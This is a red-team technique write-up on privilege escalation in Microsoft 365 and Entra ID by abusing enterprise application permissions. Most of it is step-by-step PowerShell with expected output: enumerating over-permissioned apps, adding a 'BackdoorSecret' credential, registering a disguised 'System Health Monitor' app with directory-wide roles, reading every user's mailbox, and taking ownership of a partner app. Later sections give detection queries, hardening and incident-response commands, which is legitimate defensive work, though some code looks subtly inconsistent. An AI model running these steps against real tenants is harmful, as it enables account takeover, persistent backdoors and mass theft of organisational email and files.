| Attribute | Details |
|---|---|
| Technique ID | PE-ELEVATE-010 |
| MITRE ATT&CK v18.1 | T1548 - Abuse Elevation Control Mechanism |
| Tactic | Privilege Escalation |
| Platforms | M365/Entra ID |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-09 |
| Affected Versions | All M365 tenants, Entra ID (all versions) |
| Patched In | N/A (Design-based vulnerability in delegated permissions) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Enterprise Application Permission Escalation exploits the delegated permissions model in Microsoft 365 and Entra ID to escalate a compromised user account from limited capabilities to highly privileged access. This technique leverages enterprise applications (service principals) with excessive permissions that allow a standard user to grant themselves or create new accounts with administrative capabilities. By manipulating application role assignments, OAuth consent workflows, and application permissions, an attacker can elevate privileges to read/write all organizational data, manipulate security policies, or access sensitive resources across M365.
Attack Surface: Entra ID application permissions APIs, Microsoft 365 delegated permissions, OAuth 2.0 consent endpoints, Application role assignment mechanisms, Service Principal permission grants, Custom application development endpoints.
Business Impact: Unrestricted access to sensitive organizational data including emails, files, user directory, security policies, and compliance records. An attacker can impersonate any user in the organization, modify security settings, export sensitive data at scale, and establish persistent backdoors through application-based persistence mechanisms that survive credential rotations.
Technical Context: This attack typically completes within minutes and leaves scattered audit evidence. Detection is moderate; some permission escalations are logged while others (silent grant flows) may be less visible. The attack is reversible but requires identifying all backdoor applications and revoking permissions.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS M365 2.1 | Ensure that only cloud-managed devices can access Microsoft 365 data |
| DISA STIG | DISA-O365-000002 | Application permissions must follow principle of least privilege |
| CISA SCuBA | CISA-M365-APP-01 | Application and Consent Management - Restrict delegated permissions |
| NIST 800-53 | AC-6, AC-3, CM-11 | Least Privilege, Access Enforcement, Software Updates and Patches |
| GDPR | Art. 32 | Security of Processing - Technical measures for data access control |
| DORA | Art. 18 | Software and Information Governance - Third-party software management |
| NIS2 | Art. 21(1)(d) | Managing access to assets and services |
| ISO 27001 | A.6.2.2, A.9.2.3 | Access to assets, Management of privileged access rights |
| ISO 27005 | Risk of unauthorized application permissions | Compromise of data access controls through third-party applications |
Supported Versions:
Tools:
Discover applications with delegated permissions:
# Connect to Graph
Connect-MgGraph -Scopes "Application.Read.All", "DelegatedPermissionGrant.ReadWrite.All"
# List all enterprise applications (service principals)
Get-MgServicePrincipal -Top 999 | Where-Object { $_.Tags -contains "WindowsAzureActiveDirectoryIntegratedApp" } | Select-Object DisplayName, AppId, Id
# For each application, check delegated permissions
$SP = Get-MgServicePrincipal -Filter "displayName eq 'Microsoft Graph'"
Get-MgServicePrincipalDelegatedPermissionGrant -ServicePrincipalId $SP.Id | Select-Object ClientId, ConsentType, Scope
What to Look For:
Version Note: Commands are consistent across PowerShell 5.0+
# Login to Azure
az login
# List app registrations in the tenant
az ad app list --output table
# Get details of a specific app
az ad app show --id <app-id>
# Check permissions granted to an app
az ad app permission list-grants --id <app-id>
What to Look For:
Supported Versions: M365 all versions, Entra ID all versions
Objective: Find applications that have been granted broad delegated permissions
Command:
# Connect to Graph
Connect-MgGraph -Scopes "Application.Read.All", "DelegatedPermissionGrant.ReadWrite.All"
# Find apps with "AllPrincipals" consent (available to all users)
Get-MgServicePrincipalDelegatedPermissionGrant -Filter "consentType eq 'AllPrincipals'" | Select-Object ClientId, Scope
# Expand scope details
$PermissionGrants = Get-MgServicePrincipalDelegatedPermissionGrant -Filter "consentType eq 'AllPrincipals'"
foreach ($Grant in $PermissionGrants) {
$ClientApp = Get-MgServicePrincipal -Filter "appId eq '$($Grant.ClientId)'"
Write-Output "App: $($ClientApp.DisplayName) | Permissions: $($Grant.Scope)"
}
Expected Output:
App: Document Collaboration Tool | Permissions: Mail.Read Mail.ReadWrite Files.ReadWrite.All
App: HR Management System | Permissions: User.Read Directory.ReadWrite.All
What This Means:
Objective: Generate OAuth consent dialog to grant the app permissions
Command:
# Get the app details
$App = Get-MgApplication -Filter "displayName eq 'Document Collaboration Tool'"
$AppId = $App.AppId
# Construct OAuth consent URL
$TenantId = (Get-MgContext).TenantId
$PermissionScope = "Mail.ReadWrite Files.ReadWrite.All Directory.Read.All"
$RedirectUri = "https://localhost:8080/callback" # Local callback for testing
$ConsentUrl = "https://login.microsoftonline.com/$TenantId/oauth2/v2.0/authorize?client_id=$AppId&scope=$([Uri]::EscapeDataString($PermissionScope))&redirect_uri=$([Uri]::EscapeDataString($RedirectUri))&response_type=code&prompt=admin_consent"
Write-Output "Consent URL: $ConsentUrl"
Write-Output "Open this URL in a browser to grant permissions"
Expected Output:
Consent URL: https://login.microsoftonline.com/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/oauth2/v2.0/authorize?client_id=...&scope=...
Open this URL in a browser to grant permissions
What This Means:
OpSec & Evasion:
Objective: Use the granted permissions to obtain an access token for API calls
Command:
# Register a confidential client (requires app admin or app owner)
$ClientSecret = (Add-MgApplicationPassword -ApplicationId $App.Id -PasswordDisplayName "BackdoorSecret").SecretText
# Exchange authorization code for access token
$Body = @{
client_id = $AppId
client_secret = $ClientSecret
scope = "https://graph.microsoft.com/.default"
grant_type = "client_credentials"
}
$TokenResponse = Invoke-RestMethod -Method Post -Uri "https://login.microsoftonline.com/$TenantId/oauth2/v2.0/token" -Body $Body
$AccessToken = $TokenResponse.access_token
Write-Output "Access Token obtained: $($AccessToken.Substring(0, 50))..."
Expected Output:
Access Token obtained: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
What This Means:
Objective: Demonstrate privilege escalation by accessing restricted data
Command:
# Use the access token to read all mailboxes
$Headers = @{
Authorization = "Bearer $AccessToken"
}
# List all users' emails (requires Mail.ReadWrite permission)
$Emails = Invoke-RestMethod -Method Get -Uri "https://graph.microsoft.com/v1.0/users?`$select=id,displayName,mail" -Headers $Headers
$Emails.value | Select-Object DisplayName, Mail
# Export emails from all users
foreach ($User in $Emails.value) {
$UserEmails = Invoke-RestMethod -Method Get -Uri "https://graph.microsoft.com/v1.0/users/$($User.id)/messages?`$top=100" -Headers $Headers
Write-Output "$($User.DisplayName): $($UserEmails.value.Count) emails"
}
Expected Output:
displayName mail
----------- ----
Adele Vance adele@contoso.onmicrosoft.com
Alex Wilber alex@contoso.onmicrosoft.com
...
Adele Vance: 87 emails
Alex Wilber: 143 emails
What This Means:
Supported Versions: M365 all versions, Entra ID all versions
Objective: Register a new application that can be used for persistence and escalation
Command:
# Connect to Graph with application management scopes
Connect-MgGraph -Scopes "Application.ReadWrite.All", "AppRoleAssignment.ReadWrite.All"
# Create a new application registration
$AppParams = @{
DisplayName = "System Health Monitor"
Description = "Enterprise application for system health monitoring"
PublicClient = $false
RequiredResourceAccess = @(
@{
ResourceAppId = "00000003-0000-0000-c000-000000000000" # Microsoft Graph
ResourceAccess = @(
@{Id = "9e3f62cf-ca93-4989-b6ce-bf83c28649dc"; Type = "Role"}, # Directory.ReadWrite.All
@{Id = "dc149144-f292-421e-b185-4e55fb0ce5e8"; Type = "Role"}, # Mail.ReadWrite
@{Id = "ef54d2bf-783f-4e0f-bca1-3210c0444d99"; Type = "Role"} # Files.ReadWrite.All
)
}
)
}
$NewApp = New-MgApplication @AppParams
Write-Output "Created application: $($NewApp.DisplayName) (ID: $($NewApp.AppId))"
# Create a service principal for the application
$SP = New-MgServicePrincipal -AppId $NewApp.AppId
Write-Output "Created service principal: $($SP.DisplayName) (ID: $($SP.Id))"
Expected Output:
Created application: System Health Monitor (ID: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx)
Created service principal: System Health Monitor (ID: yyyyyyyy-yyyy-yyyy-yyyy-yyyyyyyyyyyy)
What This Means:
Objective: Escalate the application’s permissions from user-level to admin-level
Command:
# Get the Graph service principal (resource)
$GraphSP = Get-MgServicePrincipal -Filter "appId eq '00000003-0000-0000-c000-000000000000'"
# Get the required app roles
$DirectoryReadWriteRole = $GraphSP.AppRoles | Where-Object { $_.Value -eq "Directory.ReadWrite.All" }
$MailReadWriteRole = $GraphSP.AppRoles | Where-Object { $_.Value -eq "Mail.ReadWrite" }
$FilesReadWriteRole = $GraphSP.AppRoles | Where-Object { $_.Value -eq "Files.ReadWrite.All" }
# Assign the roles to the service principal (grant admin consent)
$Assignments = @()
$Assignments += New-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $SP.Id -AppRoleId $DirectoryReadWriteRole.Id -PrincipalId $SP.Id -ResourceId $GraphSP.Id
$Assignments += New-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $SP.Id -AppRoleId $MailReadWriteRole.Id -PrincipalId $SP.Id -ResourceId $GraphSP.Id
$Assignments += New-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $SP.Id -AppRoleId $FilesReadWriteRole.Id -PrincipalId $SP.Id -ResourceId $GraphSP.Id
Write-Output "Admin consent granted to application"
Expected Output:
Admin consent granted to application
What This Means:
Objective: Generate credentials for the application to authenticate independently
Command:
# Create a client secret for the application
$Secret = Add-MgApplicationPassword -ApplicationId $NewApp.Id -PasswordDisplayName "ServiceCredential"
Write-Output "Client ID: $($NewApp.AppId)"
Write-Output "Client Secret: $($Secret.SecretText)"
Write-Output "Tenant ID: $(Get-MgContext).TenantId"
# Save for later use (in production, store securely)
$Credentials = @{
ClientId = $NewApp.AppId
ClientSecret = $Secret.SecretText
TenantId = (Get-MgContext).TenantId
}
$Credentials | ConvertTo-Json | Out-File -FilePath "C:\temp\app_creds.json"
Expected Output:
Client ID: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
Client Secret: abc123~XYZ...
Tenant ID: yyyyyyyy-yyyy-yyyy-yyyy-yyyyyyyyyyyy
What This Means:
Objective: Demonstrate that the application now has escalated access
Command:
# Authenticate as the service principal
$TenantId = (Get-MgContext).TenantId
$ClientId = $NewApp.AppId
$ClientSecret = $Secret.SecretText
$Body = @{
grant_type = "client_credentials"
client_id = $ClientId
client_secret = $ClientSecret
scope = "https://graph.microsoft.com/.default"
}
$TokenResponse = Invoke-RestMethod -Method Post -Uri "https://login.microsoftonline.com/$TenantId/oauth2/v2.0/token" -ContentType "application/x-www-form-urlencoded" -Body $Body
$Token = $TokenResponse.access_token
# Use the token to access organizational data
$Headers = @{
Authorization = "Bearer $Token"
}
# List all users in the organization
$AllUsers = Invoke-RestMethod -Method Get -Uri "https://graph.microsoft.com/v1.0/users" -Headers $Headers
Write-Output "Total users in organization: $($AllUsers.value.Count)"
# Access all mailboxes
$AllMailboxes = Invoke-RestMethod -Method Get -Uri "https://graph.microsoft.com/v1.0/users?`$select=id,displayName,mail" -Headers $Headers
$AllMailboxes.value | Select-Object DisplayName, Mail
Expected Output:
Total users in organization: 42
displayName mail
----------- ----
Adele Vance adele@contoso.onmicrosoft.com
Alex Wilber alex@contoso.onmicrosoft.com
...
What This Means:
Supported Versions: M365 all versions with partner/CSP relationships
Objective: Identify applications used by partners with elevated permissions
Command:
# List service principals with Directory.ReadWrite.All permission
Connect-MgGraph -Scopes "Application.Read.All"
$DangerousPermissions = @("Directory.ReadWrite.All", "Mail.ReadWrite", "Files.ReadWrite.All", "User.ReadWrite.All")
$ServicePrincipals = Get-MgServicePrincipal -Top 999
foreach ($SP in $ServicePrincipals) {
$Permissions = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $SP.Id
foreach ($Permission in $Permissions) {
if ($DangerousPermissions -contains $Permission.AppRoleId) {
Write-Output "App: $($SP.DisplayName) | Has: $($Permission.AppRoleId)"
}
}
}
Expected Output:
App: Microsoft Teams Admin Center | Has: Directory.ReadWrite.All
App: SharePoint Online Management Shell | Has: Mail.ReadWrite
What This Means:
Objective: Use partner application access to escalate privileges
Command:
# Get the partner application service principal
$PartnerApp = Get-MgServicePrincipal -Filter "displayName eq 'Microsoft Teams Admin Center'"
# Check if we can add a new owner to the service principal
$CurrentOwners = Get-MgServicePrincipalOwner -ServicePrincipalId $PartnerApp.Id
Write-Output "Current owners: $($CurrentOwners.Count)"
# If we have permission, add the compromised user as owner
$CompromisedUser = Get-MgUser -Filter "userPrincipalName eq 'attacker@contoso.onmicrosoft.com'"
New-MgServicePrincipalOwner -ServicePrincipalId $PartnerApp.Id -DirectoryObjectId $CompromisedUser.Id
Write-Output "Added compromised user as service principal owner"
# The compromised user now has implicit admin rights through the partner app
Expected Output:
Current owners: 1
Added compromised user as service principal owner
What This Means:
Version: 2.0+ Minimum Version: 1.0 Supported Platforms: Windows, macOS, Linux (PowerShell 7+)
Installation:
Install-Module Microsoft.Graph -Repository PSGallery -Force
Usage:
Connect-MgGraph -Scopes "Application.ReadWrite.All"
New-MgApplication -DisplayName "Test App"
Rule Configuration:
AuditLogs (Entra ID audit)ActivityDisplayName, TargetResources, InitiatedByKQL Query:
AuditLogs
| where ActivityDisplayName in ("Add app role assignment to service principal", "Consent to application", "Add delegated permission grant")
| where TargetResources[0].displayName contains "Mail" or TargetResources[0].displayName contains "Directory" or TargetResources[0].displayName contains "Files"
| extend Initiator = InitiatedBy.user.userPrincipalName
| extend AppName = TargetResources[0].displayName
| project TimeGenerated, Initiator, AppName, ActivityDisplayName
| where Initiator !in ("admin@contoso.onmicrosoft.com")
What This Detects:
KQL Query:
AuditLogs
| where ActivityDisplayName == "Add application"
| where TargetResources[0].displayName contains "Monitor" or TargetResources[0].displayName contains "Management" or TargetResources[0].displayName contains "Health"
| extend Creator = InitiatedBy.user.userPrincipalName
| extend AppId = TargetResources[0].id
| project TimeGenerated, Creator, TargetResources[0].displayName as AppName, AppId
| where Creator !in ("admin@contoso.onmicrosoft.com", "svc_account@contoso.onmicrosoft.com")
What This Detects:
Restrict Application Consent Permissions: Prevent users from granting consent to applications with high-privilege permissions.
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
# Update consent policy
Update-MgPolicySetting -Settings @{
UserConsentForApplicationsCanRequestAccess = $false
GroupOwnerConsentForApps = $false
}
Implement Application Allowlist/Denylist: Use Azure Policy to restrict which applications can be registered or granted permissions.
Manual Steps (Azure Portal):
Enforce Admin Consent for All App Permissions: Require Global Admin approval for all new application permissions.
Manual Steps:
Monitor and Alert on Application Permission Changes: Enable detailed audit logging for application modifications.
Manual Steps (Microsoft Sentinel):
Implement Conditional Access for Application Access: Restrict application authentication based on device and network conditions.
Manual Steps (Conditional Access):
Restrict Third-Party App AccessRegular Application Audits: Perform quarterly reviews of registered applications and permissions.
Manual Steps:
# Export all applications and their permissions
$Apps = Get-MgApplication -Top 999
foreach ($App in $Apps) {
$SP = Get-MgServicePrincipal -Filter "appId eq '$($App.AppId)'"
if ($SP) {
$Permissions = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $SP.Id
if ($Permissions) {
Write-Output "App: $($App.DisplayName) | Permissions: $($Permissions.Count)"
}
}
}
# Verify user consent is disabled
Connect-MgGraph -Scopes "Policy.Read.All"
Get-MgPolicySetting | Select-Object UserConsentForApplicationsCanRequestAccess, GroupOwnerConsentForApps
# Verify no high-permission applications are registered
$HighRiskApps = Get-MgApplication -Top 999 | Where-Object {
$_.DisplayName -match "Monitor|Management|Health|Admin|System"
}
Write-Output "High-risk applications found: $($HighRiskApps.Count)"
Expected Output (If Secure):
UserConsentForApplicationsCanRequestAccess GroupOwnerConsentForApps
------------------------------------------- -----------------------
False False
High-risk applications found: 0
AuditLogs table with filters on “Add application”, “Add app role assignment”ServicePrincipalSignInLogs in Sentinel for authentication attemptsIsolate:
Command:
# Immediately disable the malicious application
Update-MgApplication -ApplicationId <APP_ID> -ManagedIdentityClientId $null
Update-MgServicePrincipal -ServicePrincipalId <SP_ID> -AccountEnabled:$false
# Revoke all delegated permissions
Get-MgServicePrincipalDelegatedPermissionGrant -ServicePrincipalId <SP_ID> | Remove-MgServicePrincipalDelegatedPermissionGrant
Collect Evidence:
Command:
# Export audit logs related to the application
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-30) -EndDate (Get-Date) -ResultSize 50000 -FreeText "<APP_NAME>" | Export-Csv -Path "C:\Evidence\app_audit.csv"
# Export service principal sign-in logs
Get-MgAuditLogSignIn -Filter "appId eq '<APP_ID>'" -Top 10000 | Export-Csv -Path "C:\Evidence\app_signin_logs.csv"
Remediate:
Command:
# Delete the malicious application
Remove-MgApplication -ApplicationId <APP_ID>
# Reset all user passwords if compromise is widespread
Get-MgUser -Top 999 | ForEach-Object { Update-MgUser -UserId $_.Id -PasswordProfile @{ForceChangePasswordNextSignIn = $true} }
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-002] Consent Grant OAuth Attacks | Attacker captures user credentials via phishing |
| 2 | Privilege Escalation | [PE-ELEVATE-010] Enterprise Application Permission Escalation | Escalate from standard user to organization-wide admin via application permissions |
| 3 | Persistence | [PERSIST-008] OAuth Application Backdoor | Maintain access through persistent application permissions |
| 4 | Credential Access | [CA-TOKEN-004] Graph API Token Theft | Steal organizational data using escalated application access |
| 5 | Impact | Bulk Data Exfiltration / Malware Deployment | Extract sensitive organizational data or deploy enterprise-wide malware |